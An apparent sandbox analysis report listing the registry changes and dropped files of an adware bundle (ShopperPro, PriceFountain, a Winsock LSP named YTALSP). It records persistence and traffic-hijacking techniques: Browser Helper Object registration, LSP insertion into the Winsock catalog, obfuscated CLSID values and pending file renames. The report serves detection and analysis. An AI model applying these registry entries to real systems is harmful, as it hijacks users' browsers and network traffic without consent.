[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:1848 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:3832 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{b608cc98-54de-4775-96c9-097de398500c}]
"NoExplorer" = "1"

[HKCR\Wow6432Node\CLSID\{b608cc98-54de-4775-96c9-097de398500c}]
"(Default)" = "PriceFountain"

[HKCR\Wow6432Node\CLSID\{b608cc98-54de-4775-96c9-097de398500c}\InProcServer32]
"ThreadingModel" = "Apartment"
"(Default)" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll"

The process lspinst.exe:3000 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MoEmxRAp}uyQjf]laj{GfsAfEsSmZ"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E1 A5 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "RTJ_rQulx|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtiESLXGAt\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vV{a|k{G"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZkj"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3808 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E1 A5 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "RTJ_rQulx|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtiESLXGAt\li@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZkj"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MoEmxRAp}uyQjf]laj{GfsAfEsSmZ"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vV{^O~p]"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:2568 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse3F04.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz423F.tmp\AccDownload.dll,"

The process DCytaiesmt_smtyc_setup.exe:3420 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "2E 64 0B E5 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "8D 3D 3E E8 5C 2A D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "8D 3D 3E E8 5C 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process spbiu.exe:812 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "AE DC 53 48 C1 16 92 19 02 B3 42 4C 47 FC AA 36"

The process spbiu.exe:1800 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process wscript.exe:3612 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process taskeng.exe:3600 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{76484BB8-4EEB-4ED0-AD0E-282ACDA002F7}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

Dropped PE files

MD5	File path
95151d7903fef5f221a3b5be603e69bf	c:\Program Files (x86)\7-Zip\7-zip.dll
04ad4b80880b32c94be8d0886482c774	c:\Program Files (x86)\7-Zip\7z.dll
a51d90f2f9394f5ea0a3acae3bd2b219	c:\Program Files (x86)\7-Zip\7z.exe
22b7b63701e266b7a78b2a0d225e0118	c:\Program Files (x86)\7-Zip\7z.sfx
54d723fa3ed48dfd8d64ddac36b2da4e	c:\Program Files (x86)\7-Zip\7zCon.sfx
1bce2c02487972ff0d5e6702d79e7a75	c:\Program Files (x86)\7-Zip\7zFM.exe
130f7190fa9c17f6c88b103a9b93d930	c:\Program Files (x86)\7-Zip\7zG.exe
78e662d435a8e1f5b9ced236fd331856	c:\Program Files (x86)\7-Zip\Uninstall.exe
ba81a8c9b9e975c833cdf2a99d674124	c:\Program Files (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe
187436a5d751901496b149567711cbff	c:\Program Files (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.sys
ba81a8c9b9e975c833cdf2a99d674124	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
187436a5d751901496b149567711cbff	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
5e301262ba8d9f17ad23d0248f1d2593	c:\Program Files (x86)\ShopperPro\SPRemove.exe
bdd3478250c79849238bd21f30ea6bea	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
7abd4eeb717af6cda8b95402fef77c24	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
fe420a1947882f22eda6ebe85c30694c	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
